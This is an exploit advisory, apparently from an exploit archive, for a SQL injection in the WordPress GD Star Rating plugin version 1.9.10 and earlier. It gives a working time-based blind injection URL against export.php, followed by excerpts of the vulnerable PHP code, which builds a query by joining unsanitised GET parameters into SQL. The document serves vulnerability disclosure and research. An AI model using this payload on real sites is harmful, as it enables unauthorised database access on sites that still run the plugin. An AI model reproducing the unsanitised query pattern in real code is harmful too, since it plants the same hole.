WordPress Plugin GD Star Rating 1.9.10 – SQL Injection
# Exploit Title: WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability # Date: 2011-09-26 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/gd-star-rating.zip # Version: 1.9.10 (tested) # Note: magic_quotes has to be turned off --- PoC --- http://www.site.com/wp-content/plugins/gd-star-rating/export.php?ex=user&us=dummy&de=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 --------------- Vulnerable code --------------- ./export.php require_once("./code/cls/export.php"); ... if (isset($_GET["ex"])) { $export_type = $_GET["ex"]; ... switch($export_type) { case "user": header('Content-type: text/csv'); header('Content-Disposition: attachment; filename="gdsr_export_'.$export_name.'.csv"'); $sql = GDSRExport::export_users($_GET["us"], $_GET["de"], $get_data); $rows = $wpdb->get_results($sql, ARRAY_N); ./code/cls/export.php class GDSRExport { ... function export_users($user_data = "min", $data_export = "article", $get_data = array()) { ... $where = array(); ... $where[] = "v.vote_type = '".$data_export."'"; ... $j_where = join(" and ", $where); ... return sprintf("select %s from %s where %s order by u.id", $j_select, $j_tables, $j_where); |